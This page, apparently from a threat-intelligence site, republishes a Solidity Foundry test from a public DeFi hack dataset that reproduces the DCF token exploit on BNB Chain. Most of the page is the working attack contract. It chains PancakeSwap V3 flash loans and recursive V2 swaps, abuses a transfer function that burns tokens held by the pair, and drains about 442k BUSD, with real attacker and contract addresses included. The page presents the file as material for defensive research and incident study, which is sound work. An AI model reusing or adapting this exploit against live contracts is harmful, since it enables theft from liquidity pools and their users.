Skip to content
THREATWIRE

Public reproduction file

src/test/2025-03/DCFToken_exp.sol

Public reproduction file for dataset entry DCFToken.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-03/DCFToken_exp.sol183 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import {Test, console} from "forge-std/Test.sol";
5
6// @KeyInfo - Total Lost : ~442k
7// Attacker : https://bscscan.com/address/0x00c58434f247dfdca49b9ee82f3013bac96f60ff
8// Attack Contract : https://bscscan.com/address/0x77ab960503659711498a4c0bc99a84e8d0a47589
9// Vulnerable Contract : https://bscscan.com/address/0x8487f846d59f8fb4f1285c64086b47e2626c01b6
10// Attack Tx : https://bscscan.com/tx/0xb375932951c271606360b6bf4287d080c5601f4f59452b0484ea6c856defd6fd
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x8487f846d59f8fb4f1285c64086b47e2626c01b6#code
15// @Analysis
16// Twitter Guy : https://x.com/Phalcon_xyz/status/1860890801909190664
17// Hacking God [EN]: https://lunaray.medium.com/dcf-hack-analysis-dbcd3589c6fc
18// Hacking God [中]: https://www.panewslab.com/zh_hk/articledetails/nvh5p8pjf4go.html
20address constant BUSD_addr = 0x55d398326f99059fF775485246999027B3197955;
21address constant DCF_addr = 0xA7e92345ddF541Aa5CF60feE2a0e721C50Ca1adb;
22address constant DCT_addr = 0x56f46bD073E9978Eb6984C0c3e5c661407c3A447;
23address constant PancakeSwapRouterv2_addr = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
24address constant PancakeSwapV2_BSCUSD_DCF_12_addr = 0x8487f846d59F8FB4f1285C64086b47e2626C01B6;
25address constant PancakeSwapV2_BSCUSD_DCT_6_addr = 0x5aaC7375196e9eA76b1598ed4BE19B41fA5Ba651;
28contract DCFToken is Test {
29 IBEP20 DCF = IBEP20(0xA7e92345ddF541Aa5CF60feE2a0e721C50Ca1adb);
30 Attack_Contract attack_Contract;
32 function setUp() public {
33 vm.createSelectFork("bsc", 44290969);
34 vm.startPrank(0x00c58434F247DFdCA49b9EE82f3013BAC96F60FF, 0x00c58434F247DFdCA49b9EE82f3013BAC96F60FF);
36 attack_Contract = new Attack_Contract();
37 DCF.approve(address(attack_Contract), 416_258_263_298_472_398_299);
38 }
40 function testExploit() public {
41 attack_Contract.exploit();
42 }
45contract Attack_Contract {
46 struct Pancake {
47 address addr;
48 uint amount;
49 bool bUSDIndex;
50 }
51 address[] path = new address[](2);
52 Pancake[] pancakeV3Pools;
53 Pancake[] pancakeSwapV2s;
54 IBEP20 BUSD = IBEP20(BUSD_addr);
55 IBEP20 DCF = IBEP20(DCF_addr);
56 IBEP20 DCT = IBEP20(DCT_addr);
58 uint deadline = 1732453876;
59 uint step = 1;
60 IPancakeSwapRouterV2 PancakeSwapRouterV2 = IPancakeSwapRouterV2(PancakeSwapRouterv2_addr);
61 IPancakeSwapV2 PancakeSwapV2_BSCUSD_DCF_12 = IPancakeSwapV2(PancakeSwapV2_BSCUSD_DCF_12_addr);
62 IPancakeSwapV2 PancakeSwapV2_BSCUSD_DCT_6 = IPancakeSwapV2(PancakeSwapV2_BSCUSD_DCT_6_addr);
64 constructor() {
65 // pancakeV3Pools - Used to obtain a large amount of BUSD via flash loans
66 pancakeV3Pools.push(Pancake({addr: 0x92b7807bF19b7DDdf89b706143896d05228f3121, amount: 0, bUSDIndex: false}));
67 pancakeV3Pools.push(Pancake({addr: 0x36696169C63e42cd08ce11f5deeBbCeBae652050, amount: 0, bUSDIndex: false}));
68 pancakeV3Pools.push(Pancake({addr: 0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb, amount: 0, bUSDIndex: false}));
69 pancakeV3Pools.push(Pancake({addr: 0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4, amount: 0, bUSDIndex: false}));
70 pancakeV3Pools.push(Pancake({addr: 0x172fcD41E0913e95784454622d1c3724f546f849, amount: 0, bUSDIndex: false}));
71 pancakeV3Pools.push(Pancake({addr: 0xBe141893E4c6AD9272e8C04BAB7E6a10604501a5, amount: 0, bUSDIndex: true}));
72 pancakeV3Pools.push(Pancake({addr: 0x1936be860d93B0Ff98f3a9b83254D61A78930B76, amount: 0, bUSDIndex: true}));
73 pancakeV3Pools.push(Pancake({addr: 0x247f51881d1E3aE0f759AFB801413a6C948Ef442, amount: 0, bUSDIndex: false}));
74 pancakeV3Pools.push(Pancake({addr: 0x7f51c8AaA6B0599aBd16674e2b17FEc7a9f674A1, amount: 0, bUSDIndex: true}));
75 // pancakeSwapV2s - Utilize swap to acquire a large amount of BUSD
76 pancakeSwapV2s.push(Pancake({addr: 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE, amount: 0, bUSDIndex: false}));
77 pancakeSwapV2s.push(Pancake({addr: 0x7C1f8F5d8d000b00a2Eaa3c21071dBca18f6825d, amount: 0, bUSDIndex: false}));
78 pancakeSwapV2s.push(Pancake({addr: 0xF31cb18759FE8356348c81268b859d2a32bf2117, amount: 0, bUSDIndex: false}));
79 pancakeSwapV2s.push(Pancake({addr: 0x5a5fD4DBF70747E684F43B43aB53d4b0C733293D, amount: 0, bUSDIndex: true}));
80 pancakeSwapV2s.push(Pancake({addr: 0xB51f9508B88F0868aE14E74C5D7d1F34E2f419c1, amount: 0, bUSDIndex: false}));
81 pancakeSwapV2s.push(Pancake({addr: 0x8665A78ccC84D6Df2ACaA4b207d88c6Bc9b70Ec5, amount: 0, bUSDIndex: true}));
82 }
84 function exploit() public {
85 pancakeV3Pools[0].amount = BUSD.balanceOf(pancakeV3Pools[0].addr) - 100_000_000_000_000_000_000;
87 // Stage 0: Prepare attack funds
88 // Borrow a large amount of BUSD from the PancakeSwap V3 pool
89 IPancakeV3Pool(pancakeV3Pools[0].addr).flash(address(this), pancakeV3Pools[0].amount, 0, abi.encodePacked(step));
90 }
92 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
93 Pancake storage old_pancakeV3Pool = pancakeV3Pools[step-1];
94 old_pancakeV3Pool.bUSDIndex? old_pancakeV3Pool.amount += fee1 : old_pancakeV3Pool.amount += fee0;
96 if (step < pancakeV3Pools.length) {
97 Pancake storage pancakeV3Pool = pancakeV3Pools[step];
98 pancakeV3Pool.amount = BUSD.balanceOf(pancakeV3Pool.addr) - 100_000_000_000_000_000_000;
99 if (pancakeV3Pool.bUSDIndex)
100 IPancakeV3Pool(pancakeV3Pool.addr).flash(address(this), 0, pancakeV3Pool.amount, abi.encode(++step));
101 else
102 IPancakeV3Pool(pancakeV3Pool.addr).flash(address(this), pancakeV3Pool.amount, 0, abi.encode(++step));
103 }
104 else {
105 step = 1;
106 // Subtract 10^20 to avoid triggering the require check for INSUFFICIENT_LIQUIDITY in the contract
107 pancakeSwapV2s[0].amount = BUSD.balanceOf(pancakeSwapV2s[0].addr) - 100_000_000_000_000_000_000;
108 // The attacker uses PancakeSwap's swap function, first transferring the swapped tokens out, then paying tokens in the callback function, gaining a large amount of BUSD through a series of recursive swap operations
109 IPancakeSwapV2(pancakeSwapV2s[0].addr).swap(pancakeSwapV2s[0].amount, 0, address(this), abi.encodePacked(step));
110 }
111 }
113 function pancakeCall (address sender, uint amount0, uint amount1, bytes calldata data) external {
114 Pancake storage old_pancakeSwapV2 = pancakeSwapV2s[step-1];
115 // 0.25% for fee
116 old_pancakeSwapV2.amount = old_pancakeSwapV2.amount * 100_251 / 100_000;
118 if (step < pancakeSwapV2s.length){
119 Pancake storage pancakeSwapV2 = pancakeSwapV2s[step];
120 // Subtract 10^20 to avoid triggering the require check for INSUFFICIENT_LIQUIDITY in the contract
121 pancakeSwapV2.amount = BUSD.balanceOf(pancakeSwapV2.addr) - 100_000_000_000_000_000_000;
122 if (pancakeSwapV2.bUSDIndex)
123 IPancakeSwapV2(pancakeSwapV2.addr).swap(0, pancakeSwapV2.amount, address(this), abi.encode(++step));
124 else
125 IPancakeSwapV2(pancakeSwapV2.addr).swap(pancakeSwapV2.amount, 0, address(this), abi.encode(++step));
126 }
127 else {
128 // Step 1: The attacker transfers all the DCF he holds to the attack contract
129 DCF.transferFrom(tx.origin, address(this), 83_741_736_701_527_601_701);
131 // Step 2: The attacker used 80,435,691 BUSD to exchange 4,039 DCF to 0x16600100b04d17451a03575436b4090f6ff8f404.
132 BUSD.approve(address(PancakeSwapRouterV2), type(uint256).max);
133 (path[0], path[1]) = (address(BUSD), address(DCF));
134 PancakeSwapRouterV2.swapExactTokensForTokensSupportingFeeOnTransferTokens(80_435_691_245_080_307_237_888_143, 0, path, 0x16600100b04d17451a03575436B4090f6Ff8f404, deadline);
136 // Step 3: The attacker used the remaining 29,919,679 BUSD to exchange 1,062,693 DCT for the attack contract
137 BUSD.approve(address(PancakeSwapRouterV2), type(uint256).max);
138 (path[0], path[1]) = (address(BUSD), address(DCT));
139 PancakeSwapRouterV2.swapExactTokensForTokensSupportingFeeOnTransferTokens(29_919_669_280_925_435_923_030_360, 0, path, address(this), deadline);
141 // Step 4: The attacker uses transfer to send 82 DCF to the PancakeSwap Pair BUSD-DCF
142 // Vulnerability: The transfer of DCF
143 // When `to` is the address of the PancakeSwap Pair, the code will destroy about half of the transferred DCF amount from the PancakeSwap Pair and increase the prices of DCF and DCT
144 DCF.transfer(address(PancakeSwapV2_BSCUSD_DCF_12), 82_756_539_699_156_688_738);
146 // Final: The attacker sells DCF and DCT, making a profit of 442,028 BUSD
147 PancakeSwapV2_BSCUSD_DCF_12.swap(72_612_978_985_490_861_981_525_879, 0, address(this), "");
148 BUSD.transfer(address(PancakeSwapV2_BSCUSD_DCT_6), 1_000_000_000_000_000_000);
149 DCT.approve(address(PancakeSwapRouterV2), type(uint256).max);
150 (path[0], path[1]) = (address(DCT), address(BUSD));
151 PancakeSwapRouterV2.swapExactTokensForTokensSupportingFeeOnTransferTokens(1_062_693_418_683_145_675_940_998, 0, path, address(this), deadline);
153 // Pay back the flash loan
154 for (uint i = 0; i < pancakeV3Pools.length; i++)
155 BUSD.transfer(pancakeV3Pools[i].addr, pancakeV3Pools[i].amount);
156 // Pay back the swap
157 for (uint i = 0; i < pancakeSwapV2s.length; i++)
158 BUSD.transfer(pancakeSwapV2s[i].addr, pancakeSwapV2s[i].amount);
159 }
160 }
164interface IBEP20 {
165 function transfer(address recipient, uint256 amount) external returns (bool);
166 function balanceOf(address account) external view returns (uint256);
167 function transferFrom(address from, address to, uint256 amount) external returns (bool);
168 function approve(address spender, uint256 amount) external returns (bool);
172interface IPancakeV3Pool {
173 function flash(address recipient, uint256 amount0, uint256 amount1, bytes memory data) external;
176interface IPancakeSwapV2 {
177 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;
178 function sync() external;
181interface IPancakeSwapRouterV2 {
182 function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] memory path, address to, uint256 deadline) external;

Analysis

Dataset entry

Public Foundry test for “DCFToken” (2025-03-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x00c58434f247dfdca49b9ee82f3013bac96f60ff

  • Attack Contract

    0x77ab960503659711498a4c0bc99a84e8d0a47589

  • Vulnerable Contract

    0x8487f846d59f8fb4f1285c64086b47e2626c01b6

  • Attack Tx

    0xb375932951c271606360b6bf4287d080c5601f4f59452b0484ea6c856defd6fd

File record

Name
DCFToken
Path
src/test/2025-03/DCFToken_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
88af9d10f6698f4a6f8a673933a71976c39dcb1d
Language
Solidity
Size
184 lines
Date
2025-03-18
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-03/DCFToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 88af9d10f6698f4a6f8a673933a71976c39dcb1d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.